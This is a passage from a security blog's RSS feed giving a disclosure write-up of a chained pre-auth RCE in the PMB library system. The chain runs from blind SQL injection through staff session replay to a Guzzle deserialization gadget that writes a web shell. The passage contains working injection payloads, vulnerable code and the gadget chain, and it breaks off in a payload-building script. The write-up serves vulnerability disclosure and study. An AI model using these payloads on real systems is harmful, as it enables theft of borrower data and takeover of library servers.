<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Blog | AtakorLAB</title><link>https://atakorlab.com/blog/</link><atom:link href="https://atakorlab.com/blog/index.xml" rel="self" type="application/rss+xml"/><description>Blog</description><generator>Hugo Blox Builder (https://hugoblox.com)</generator><language>en-us</language><image><url>https://atakorlab.com/media/sharing.png</url><title>Blog</title><link>https://atakorlab.com/blog/</link></image><item><title>Three keys, one door: a pre-auth RCE chain in PMB (CVE-2026-95232 &amp; CVE-2026-95233)</title><link>https://atakorlab.com/blog/pmb-cve-2026-95232-cve-2026-95233/</link><pubDate>Wed, 25 Nov 2026 00:00:00 +0000</pubDate><guid>https://atakorlab.com/blog/pmb-cve-2026-95232-cve-2026-95233/</guid><description>
&lt;video controls poster="/blog/pmb-cve-2026-95232-cve-2026-95233/pmb-preauth-rce-poc.jpg" &gt;
&lt;source src="https://atakorlab.com/blog/pmb-cve-2026-95232-cve-2026-95233/pmb-preauth-rce-poc.mp4" type="video/mp4"&gt;
&lt;/video&gt;
&lt;h2 id="the-shape-of-it"&gt;The shape of it&lt;/h2&gt;
&lt;p&gt;PMB (PhpMyBibli) is an open source library management system. Libraries, schools and
universities run it to manage their catalogue, their loans and their borrowers, and the public
side of it, the OPAC, sits on the internet by design so readers can search the shelves from home.&lt;/p&gt;
&lt;p&gt;I found this on version &lt;strong&gt;8.0.1.40&lt;/strong&gt;. When I reported it, the vendor pointed me to the other
maintained branch, and the full chain works the same on its latest release at the time,
&lt;strong&gt;8.1.0.17&lt;/strong&gt; (that is the run in the video above). It comes down to three keys, and none of them
opens the door on its own:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Link&lt;/th&gt;
&lt;th&gt;What it is&lt;/th&gt;
&lt;th&gt;Auth needed&lt;/th&gt;
&lt;th&gt;ID&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;A&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;SQL injection in the OPAC document viewer (&lt;code&gt;idautorite&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;none&lt;/td&gt;
&lt;td&gt;CVE-2026-95232&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;B&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Staff sessions live in a DB table, and the session check never compares the IP&lt;/td&gt;
&lt;td&gt;n/a&lt;/td&gt;
&lt;td&gt;part of the chain&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;C&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;unserialize()&lt;/code&gt; on POST data in the borrower mailing feature, plus a bundled Guzzle gadget&lt;/td&gt;
&lt;td&gt;staff session&lt;/td&gt;
&lt;td&gt;CVE-2026-95233&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;None of these is remote code execution by itself. A read-only injection, a session store with a
weak check, and a deserialization sink that sits behind a login. The exploit is in how they fit
together: the attacker sends &lt;strong&gt;no credentials&lt;/strong&gt;, A reads a live staff session straight out of the
database, B lets us replay it because nothing ties it to the original client, and the now
authenticated request reaches C, where a Guzzle class already shipped with PMB turns our bytes
into a PHP file under the web root. That is code execution as &lt;code&gt;www-data&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; A · unauth SQLi
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; visionneuse.php, idautorite → SQL, no cookie
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ reads {SESSID, login} from the sessions table
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ▼
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; B · session theft
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; replay both cookies, no IP binding
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ now authenticated as a staff user
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ▼
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; C · object injection
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; circ.php mailing → unserialize() → Guzzle gadget
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; │ writes shell.php under the web root
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ▼
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; exec as www-data
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Before anything else, the honest caveat, because I don&amp;rsquo;t want this oversold: &lt;strong&gt;this RCE is
unauthenticated but opportunistic.&lt;/strong&gt; Stage B can only steal a session if a staff member is logged
in (inside PMB&amp;rsquo;s 2 hour reactivation window). Against an idle server the injection still gives you
unauthenticated data theft, but there is no session to hijack at that moment. So it is not an
&amp;ldquo;any time, against an idle box&amp;rdquo; pre-auth RCE. In practice a library&amp;rsquo;s back office is staffed during
opening hours, so the window is most of the working day.&lt;/p&gt;
&lt;p&gt;And the usual line: everything below ran against a disposable lab instance I was authorised to
break. Don&amp;rsquo;t point this at libraries that aren&amp;rsquo;t yours.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="part-a-finding-the-unauthenticated-sql-injection"&gt;Part A: finding the unauthenticated SQL injection&lt;/h2&gt;
&lt;p&gt;The goal of the first pass was simple: find the part of the app a stranger can reach with no
session at all, and somewhere inside it where request data reaches SQL without a working defence.&lt;/p&gt;
&lt;h3 id="mapping-what-skips-the-login"&gt;Mapping what skips the login&lt;/h3&gt;
&lt;p&gt;PMB gates its pages by setting &lt;code&gt;$base_auth&lt;/code&gt; before including &lt;code&gt;init.inc.php&lt;/code&gt;, which then calls
&lt;code&gt;checkUser()&lt;/code&gt;. Two things bypass that: files that set &lt;code&gt;$base_nocheck = 1&lt;/code&gt;, and the whole public
&lt;code&gt;opac_css/&lt;/code&gt; tree. One grep draws the map. Note the &lt;code&gt;-a&lt;/code&gt;: PMB&amp;rsquo;s source is ISO-8859, and plain grep
decides those files are binary and quietly skips them.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;grep -arln &lt;span class="s1"&gt;&amp;#39;\$base_nocheck[[:space:]]*=[[:space:]]*1&amp;#39;&lt;/span&gt; --include&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;*.php&amp;#39;&lt;/span&gt; .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 38 hits in the staff tree (plenty are CLI-guarded false positives)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# plus 49 entry points under opac_css/, unauthenticated by design&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The OPAC tree is the richer ground. It is internet facing everywhere, and the vendor&amp;rsquo;s own recent
security fixes cluster there. The document viewer stood out: it builds a driver object from
request variables and immediately runs queries with them.&lt;/p&gt;
&lt;h3 id="following-idautorite"&gt;Following &lt;code&gt;idautorite&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;PMB emulates &lt;code&gt;register_globals&lt;/code&gt;: every request key becomes a PHP global and goes through
&lt;code&gt;addslashes()&lt;/code&gt; on the way in (&lt;code&gt;includes/global_vars.inc.php&lt;/code&gt;). That is the app&amp;rsquo;s blanket SQL
defence. Following &lt;code&gt;idautorite&lt;/code&gt; into the viewer&amp;rsquo;s mode switch lands here:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// opac_css/visionneuse/api/pmb/pmb.class.php:124 (mode=authperso_see)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="nv"&gt;$requete_noti&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;SELECT notice_id FROM notices_authperso, notices &amp;#34;&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$acces_j&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34; &amp;#34;&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$statut_j&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34; where notice_authperso_authority_num= &amp;#34;&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;idautorite&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34; and notice_authperso_notice_num = notice_id &amp;#34;&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$statut_r&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// ... executed unconditionally from the constructor at :341
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="nx"&gt;pmb_mysql_query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$requete_noti&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="why-the-global-addslashes-does-nothing-here"&gt;Why the global &lt;code&gt;addslashes()&lt;/code&gt; does nothing here&lt;/h3&gt;
&lt;p&gt;The value sits in a bare numeric position, with no quotes around it. &lt;code&gt;addslashes()&lt;/code&gt; escapes
&lt;code&gt;'&lt;/code&gt;, &lt;code&gt;&amp;quot;&lt;/code&gt;, &lt;code&gt;\&lt;/code&gt; and NUL, which only helps inside a quoted string literal. Here you never need a quote
to break out: &lt;code&gt;1 UNION SELECT ...&lt;/code&gt; is already valid SQL.&lt;/p&gt;
&lt;p&gt;The one thing that would have saved it is an integer cast, and PMB does have one: a small
allow-list of parameters that get coerced to int. &lt;code&gt;idautorite&lt;/code&gt; is not on it.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;GET&lt;/span&gt; &lt;span class="err"&gt;?&lt;/span&gt;&lt;span class="n"&gt;idautorite&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;UNION&lt;/span&gt; &lt;span class="n"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;SLEEP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="err"&gt;…&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;│&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;▼&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;global_vars&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt; &lt;span class="n"&gt;addslashes&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="err"&gt;✓&lt;/span&gt; &lt;span class="n"&gt;runs&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;escapes&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39; &amp;#34; \, none present)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="ne"&gt;int&lt;/span&gt; &lt;span class="n"&gt;allow&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;list&lt;/span&gt; &lt;span class="err"&gt;✗&lt;/span&gt; &lt;span class="n"&gt;idautorite&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;listed&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;│&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;▼&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;pmb&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;124&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;…authority_num= &amp;#34;&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;idautorite&lt;/span&gt; &lt;span class="err"&gt;←&lt;/span&gt; &lt;span class="n"&gt;unquoted&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;│&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;▼&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;pmb_mysql_query&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;341&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The defence runs, it is just inert in this position.&lt;/p&gt;
&lt;h3 id="confirming-it-with-the-right-oracle"&gt;Confirming it, with the right oracle&lt;/h3&gt;
&lt;p&gt;Errors are hidden, and every outcome renders the same 10,784 byte page, so diffing responses is
useless. Timing is the only oracle. The first payload taught me something worth writing down:&lt;/p&gt;
&lt;blockquote class="border-l-4 border-neutral-300 dark:border-neutral-600 pl-4 italic text-neutral-600 dark:text-neutral-400 my-6"&gt;
&lt;p&gt;&lt;strong&gt;False negative trap.&lt;/strong&gt; &lt;code&gt;1 AND (SELECT SLEEP(5))&lt;/code&gt; gave &lt;strong&gt;no delay&lt;/strong&gt;. In a &lt;code&gt;WHERE&lt;/code&gt; clause,
&lt;code&gt;SLEEP()&lt;/code&gt; runs once per row scanned, and on an empty catalogue that is zero rows.
&lt;code&gt;1 UNION SELECT SLEEP(5)&lt;/code&gt; forces exactly one evaluation whatever the data. On a sparse
database, that is the form you want.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A delay alone could be coincidence, so I wanted proof I actually controlled the SQL structure. The
column count oracle does that: a &lt;code&gt;UNION&lt;/code&gt; only runs if the appended &lt;code&gt;SELECT&lt;/code&gt; has exactly as many
columns as the outer query. The outer query differs per viewer mode, and the counts match the
source.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# mode=authperso_see → outer query has 1 column
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GET …&amp;amp;idautorite=1 UNION SELECT SLEEP(4) -- 4.08s delay
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GET …&amp;amp;idautorite=1 UNION SELECT SLEEP(4),2 -- 0.05s rejected
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# mode=categ_see → outer query has 3 columns
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GET …&amp;amp;idautorite=1 UNION SELECT SLEEP(4),2,3 -- 4.05s delay
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GET …&amp;amp;idautorite=1 UNION SELECT SLEEP(4) -- 0.05s rejected
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Wrong count, statement rejected, no delay. Right count, and the delay tracks the argument
(2s, 5s, 8s all verified). That is structural control, not luck.&lt;/p&gt;
&lt;h3 id="turning-the-oracle-into-a-reader"&gt;Turning the oracle into a reader&lt;/h3&gt;
&lt;p&gt;From there it is classic blind extraction: a length probe, then a binary search per byte on
&lt;code&gt;ASCII(SUBSTRING(...))&lt;/code&gt;. That reads anything the database user can see, with no cookie and no
credentials:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;==&amp;gt; database() = &amp;#39;pmb&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;==&amp;gt; @@version = &amp;#39;10.11.14-MariaDB-0ubuntu0.24.04.1&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;On its own that is already a critical, unauthenticated data disclosure: borrower records, staff
accounts, everything in the catalogue database. But one table in particular is much more useful
than the rest. We&amp;rsquo;ll come back to it after the second bug.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="part-c-finding-the-deserialization-gadget"&gt;Part C: finding the deserialization gadget&lt;/h2&gt;
&lt;p&gt;A read primitive is not code execution. For that I needed the authenticated half: somewhere that
calls &lt;code&gt;unserialize()&lt;/code&gt; on bytes I control, and a class already loaded in the codebase whose
destruction does something useful.&lt;/p&gt;
&lt;h3 id="the-sink"&gt;The sink&lt;/h3&gt;
&lt;p&gt;The borrower mailing feature rebuilds a list of attachments from a POST field. There is no class
allow-list, so this is textbook PHP object injection:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// classes/mailing_empr.class.php:188
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// reached via circ.php?categ=empr_mailing&amp;amp;action=send
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;elseif&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="k"&gt;empty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$count_files&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;files&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;unserialize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;urldecode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$files_post&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt; &lt;span class="c1"&gt;// attacker-controlled bytes
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="the-gadget"&gt;The gadget&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;unserialize()&lt;/code&gt; only builds objects and calls their magic methods (&lt;code&gt;__wakeup&lt;/code&gt;, &lt;code&gt;__destruct&lt;/code&gt;). What
you want is an existing class whose destructor does a filesystem write you can steer. PMB bundles
Guzzle, and &lt;code&gt;GuzzleHttp\Cookie\FileCookieJar&lt;/code&gt; is exactly that: when it is destroyed, it saves its
cookies to the filename it holds.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;unserialize&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;FileCookieJar&lt;/span&gt; &lt;span class="n"&gt;constructor&lt;/span&gt; &lt;span class="n"&gt;NOT&lt;/span&gt; &lt;span class="n"&gt;called&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;private&lt;/span&gt; &lt;span class="n"&gt;props&lt;/span&gt; &lt;span class="n"&gt;set&lt;/span&gt; &lt;span class="n"&gt;directly&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;__destruct&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;save&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;foreach&lt;/span&gt; &lt;span class="n"&gt;cookie&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;shouldPersist&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="n"&gt;Expires&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;Discard&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;false&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;kept&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;Utils&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;jsonEncode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;so&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;JSON_HEX_TAG&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;lt;?php&amp;#34;&lt;/span&gt; &lt;span class="n"&gt;survives&lt;/span&gt; &lt;span class="n"&gt;intact&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;file_put_contents&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="err"&gt;…&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I re-verified the chain against the exact Guzzle version PMB ships (7.12.3). The two things we need
to control, the target filename and the cookie value that carries the PHP, are plain object
properties, set at deserialization time.&lt;/p&gt;
&lt;h3 id="building-the-payload-by-hand"&gt;Building the payload by hand&lt;/h3&gt;
&lt;p&gt;You don&amp;rsquo;t need a PHP interpreter to build this. The serialize format is simple, and writing it by
hand makes two subtleties explicit. Private properties are stored under a NUL-mangled key,
&lt;code&gt;&amp;quot;\0&amp;lt;Class&amp;gt;\0&amp;lt;prop&amp;gt;&amp;quot;&lt;/code&gt;, and &lt;code&gt;unserialize()&lt;/code&gt; fills them in without ever running the constructor. And
the &lt;code&gt;shouldPersist()&lt;/code&gt; gate is satisfied by picking &lt;code&gt;Expires = 1&lt;/code&gt; (truthy) and &lt;code&gt;Discard = false&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# private property → name-mangled serialized key&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;php_private&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;cls&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;prop&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
